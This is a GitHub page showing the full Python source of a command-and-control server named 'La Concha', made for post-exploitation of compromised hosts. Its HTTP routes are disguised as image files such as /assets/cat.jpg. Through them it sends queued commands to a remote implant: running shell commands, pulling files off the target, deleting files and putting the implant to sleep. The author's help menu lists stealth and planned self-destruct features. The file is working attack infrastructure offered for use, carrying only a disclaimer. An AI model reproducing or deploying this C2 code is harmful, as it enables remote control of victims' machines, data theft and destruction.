-
Notifications
You must be signed in to change notification settings - Fork 0
/
server
executable file
·265 lines (239 loc) · 8.88 KB
/
server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
#!/usr/bin/python3
import os
from aiohttp import web
from datetime import datetime
from termcolor import cprint, colored
cmds = {}
cmdnum = 0
def printAlert(text):
print(colored("[*]", "blue"), text)
return True
def lwd():
return os.getcwd()
def lcd(directory):
if os.path.exists(directory):
os.chdir(directory)
return True
else:
return False
def lls():
return os.listdir()
def help_menu():
cprint("Help Menu:", 'white')
cprint("-------------------", "red")
print("[Local Commands]")
cprint("-------------------", "red")
print("lwd - prints local working directory")
print("lcd - changes local directory")
print("lls - list files in local directory")
print("!sh - run local shell commands")
cprint("-------------------", "red")
print("[Post Exploitation]")
cprint("<basic commands>", "blue")
print("cd - change directory")
print("pwd - prints working directory")
print("ls - list files")
print("cat - print file contents")
print("delete - delete a file on the remote host")
print("shell - run shell commands on remote system",colored("RISKY!", "red"))
cprint("<recon>", "blue")
print('download - download a remote file to your system')
print("upload - upload a local file to target system #todo")
cprint("<stealth>", "blue")
print("sleep - put shell to sleep") # do
print("selfdestruct - shred remote payload and kill all processes #todo")
cprint("More coming soon!", "blue")
cprint("-------------------", "red")
print("[Basic Options]")
print("help - list commands")
print("? - list commands")
print("done - send command queue to target")
print("exit- kill c2 server")
return 0
async def synInit(request):
global host
host = request.transport.get_extra_info('peername')[0]
data = await request.post()
if data['initialize'] == 'SYN':
printAlert("Attempted connection by: %s" % host)
return web.Response(text="ACK")
else:
return web.HTTPNotFound()
async def kill(request):
data = await request.post()
if data['cmd'] == 'KILL':
exit(0)
async def remote_ls(request):
data = await request.post()
print('\n')
printAlert("Exec: ls")
list = data['list'].split(';')
for item in list:
print(item)
return web.Response(text='OK')
async def remote_pwd(request):
data = await request.post()
print('\n')
printAlert("Exec: pwd")
print(data['pwd'])
return web.Response(text='OK')
async def remote_cd(request):
data = await request.post()
print('\n')
printAlert("Exec: cd %s" % data['dir'])
if data['success'] == 'True':
printAlert("New working directory: %s" % data['pwd'])
else:
printAlert("Directory not found: %s" % data['dir'])
return web.Response(text='OK')
async def remote_cat(request):
data = await request.post()
print('\n')
printAlert("Exec: cat %s" % data['file'])
print(data['content'])
return web.Response(text='OK')
async def remote_shell(request):
data = await request.post()
print('\n')
printAlert("Exec: %s" % data['cmd'])
print(data['output'])
return web.Response(text='OK')
async def remote_download(request):
data = await request.post()
print('\n')
printAlert("Exec: download %s %s" % (data['remote_filename'], data['filename']))
if data['success'] != 'True':
printAlert("Error: File not found.")
return web.HTTPNotFound()
printAlert("Downloading %s from target to %s." % (data['remote_filename'], data['filename']))
with open(data['filename'], "w+") as f:
f.write(data['content'])
printAlert("Download complete!")
return web.Response(text='OK')
async def remote_delete(request):
data = await request.post()
print('\n')
printAlert("Exec: delete %s" % data['filename'])
if data['success'] == 'True':
printAlert("File successfully deleted!")
else:
printAlert("Error: File not found.")
return web.Response(text='OK')
async def remote_sleep(request):
data = await request.post()
print('\n')
print("Exec: sleep %s" % data['sleep'])
if data['sleep'] != 'False':
printAlert("Target is asleep for %s seconds." % data['sleep'])
else:
printAlert("Target failed to sleep.")
return web.Response(text='OK')
async def connect(request):
data = await request.post()
if data['initialize'] == 'ACK':
username = data['username']
hostname = data['hostname']
cwd = data['cwd']
global cmdnum
global cmds
cmdnum = 0
cmds = {}
while True:
tstamp = str(datetime.now())[:-7]
x = input(colored("%s@%s:[%s]<%s> " % (username, hostname, cwd, tstamp), "red"))
if x == 'done':
printAlert("Sending command queue to %s!" % hostname)
printAlert("Waiting on responses.\n")
return web.json_response(cmds)
elif x in ['help', '?']:
help_menu()
elif x == 'lwd':
print(lwd())
elif 'lcd' in x:
try:
directory = x.split(' ')[1]
if lcd(directory):
printAlert("Switched to %s" % lwd())
else:
printAlert("Directory not found: %s" % directory)
except:
printAlert("Usage: lcd <directory>")
elif x == 'lls':
list = lls()
list.sort()
for item in list: print(item)
elif '!sh' in x:
cmd = x[4:]
os.system(cmd)
elif x == 'ls':
cmdnum += 1
cmds.update({cmdnum : 'ls'})
printAlert("ls will be executed when the list is submitted.")
elif x == 'pwd':
cmdnum += 1
cmds.update({cmdnum : 'pwd'})
printAlert("pwd will be executed when the list is submitted.")
elif 'cd' in x:
cmdnum += 1
cmds.update({cmdnum : x})
printAlert("%s will be executed when the list is submitted." % x)
elif 'cat' in x:
cmdnum += 1
cmds.update({cmdnum : x})
printAlert("%s will be executed when the list is submitted." % x)
elif 'shell' in x:
cmdnum += 1
cmds.update({cmdnum : x})
printAlert("%s will be executed when the list is submitted." % x)
elif 'download' in x:
if len(x.split(" ")) not in [2, 3]:
printAlert("Usage: download <remotefile> <saveas>")
else:
cmdnum += 1
cmds.update({cmdnum : x})
printAlert("%s will be executed when the list is submitted." % x)
elif 'delete' in x:
if len(x.split(" ")) not in [2]:
printAlert("Usage: delete <remotefile>")
else:
cmdnum += 1
cmds.update({cmdnum : x})
printAlert("%s will be executed when the list is submitted." % x)
elif 'sleep' in x:
if len(x.split(" ")) not in [2]:
printAlert("Usage: sleep <seconds>")
else:
cmdnum += 1
cmds.update({cmdnum : x})
printAlert("%s will be executed when the list is submitted." % x)
elif x in ['exit', 'quit', 'kill']:
printAlert("Killing c2 server.")
cmds = {0: 'KILL'}
return web.json_response(cmds)
else:
printAlert("Command not found.")
app = web.Application()
app.add_routes([web.route('*', "/initialize/syn", synInit),
web.route('*', "/initialize/ack", connect),
web.route('*', "/assets/ghost.png", kill),
web.route('*', "/assets/flower.jpg", remote_ls),
web.route('*', "/assets/bug.jpg", remote_pwd),
web.route('*', "/assets/fly.jpg", remote_cd),
web.route('*', "/assets/cat.jpg", remote_cat),
web.route('*', "/assets/mudcrab.jpg", remote_shell),
web.route('*', "/assets/lion.jpg", remote_download),
web.route('*', "/assets/bat.jpg", remote_delete),
web.route('*', "/assets/bear.jpg", remote_sleep)])
if __name__ == '__main__':
os.system('clear')
cprint("""
La Conchaaaaaaaaaaaaa [Made by: 0xShaolin <Diante J.>]
Contact: odinsecurity@protonmail.com
Github: https://github.com/0xShaolin
DISCLAIMER: USAGE OF THIS TOOL AGAINST UNAUTHORIZED SYSTEMS IS
PROHIBITED. happy hacking!
""", "magenta")
try:
web.run_app(app, port=8080)
except KeyboardInterrupt:
printAlert("Killing c2 server.")